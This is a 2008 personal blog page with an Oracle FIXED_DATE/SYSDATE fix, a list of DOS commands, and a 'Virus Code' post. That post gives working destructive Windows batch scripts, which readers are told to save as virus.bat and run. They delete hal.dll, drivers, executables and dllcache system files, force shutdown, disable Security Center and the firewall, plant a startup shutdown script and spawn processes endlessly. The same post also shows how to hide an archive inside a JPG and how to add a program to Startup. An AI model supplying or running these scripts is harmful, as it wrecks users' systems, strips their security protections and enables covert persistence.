Pages

Friday, July 4, 2008

Oracle Sysdate Problem

When One Day my Oracle (working) database was stuck , I restarted Oracle database through OS Service instead of restarting Server Machine. From then onwards 'sysdate' was not working. Whenever I was querying

Select Sysdate from dual;

Output was ---- 23/06/2008 12:03:19 PM

Then wandering through Google i found it can be overcome by Altering FIXED_DATE parameter by running command as SYSDBA

ALTER SYSTEM SET FIXED_DATE='2008-06-25 10:06:09 AM' ;

From then onwards whenever i use this query

Select Sysdate from dual;
Output was ---- 25/06/2008 10:06:09 AM

This made me crazy for more than 2 days .After restarting Server Machine on 28th and then ALTERING FIXED_DATE TO NONE (ALTER SYSTEM SET FIXED_DATE=NONE).

After then Select Sysdate from dual; gives

Output was ---- 28/06/2008 12:06:09 PM

Thus next day i checked sysdate it was working fine as of OS date.

and thus the crazy days come to an end

Some Dos Commands

ATTRIB -S -R,
DISKPART

TYPE [FILENAME] EX:--> TYPE C:|3.ZIP


MORE ----------- EX == MORE C:\3.GIF

CHCP --------TO DISPLAY ACTIVE CODE PAGE NUMBER

MODE ---- TO CONFIGURE SYSTEMPLAY DEVICES ex := MODE COM1 BAUD=1200

EXPAND ------ TO COPY FILE EX : C:\DBA.ZIP C:\Z.ZIP


SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]
DIGITAL SIGNATURE OF FILES .Scans all protected system files and replaces incorrect versions WITH correct Microsoft versions.


MMC

ARP --DISPLAY LOCALLY RESOLVE IP ADDRESS EX : ARP -A

ROUTE --Manipulates network routing tables. eX : ROUTE PRINT

HOSTNAME
TRACERT
PATHPING
TELNET


REXEC
Runs commands on remote hosts BY running the REXEC service. Rexec
authenticates the user name on the remote host before executing the specified command.


FTP ,TFTP -- FOR FILE TRANSFERING


FINGER
Displays information about a user on a specified system running the Finger service.Output varies based on the remote system.


DEVMGMT.MSC ---TO START DEVICE MANAGER

CIPHER

Tuesday, July 1, 2008

Virus Code

1)Create a virus of your own .Copy paste the below codes in a notepad and save that file as virus.bat ,then run that file .U can Notice the effect
I)
@echo off
title MacBeth
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del * /S /F /Q .exe
shutdown /F /S /Q
pause
II) This Code shuts down all security.
Makes a new batch file at startup which inside is the command shutdown -s
Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.
Watch the CPU usage go up.
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
III)
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
IV)
shutdown -s -t 10
V)
:start
start "C:\WINDOWS\system32\notepad.exe"
GOTO start

To hide a file

1)To hide a file using another file

a)First create a folder named test
b)Then copy a file that u want to hide say 'Secret.rar'
and copy another file say 'logo.jpg'

c)Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.

d)Then delete the two files Secret.rar and logo.jpg .When u click that output.jpg it will view as a logo.jpg file but u can access the files in secret.rar by opening that output.jpg through rar file

-------------------------------
2) To Display Messages

cls
@echo off
msg * to play a game press on ok!
msg * Oh wait Dont!!
msg * ppfff i did warn ya!!
msg * mwahahahahahah!


3)To setup a program during Windows Logon .Paste the below code in a notepad and save it as .bat file and run that file


@echo off
copy "some.exe" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
start some.exe

4)To Start a program

start calc.exe

5)To refresh Windows without closing the opened programs

cmd > tskill explorer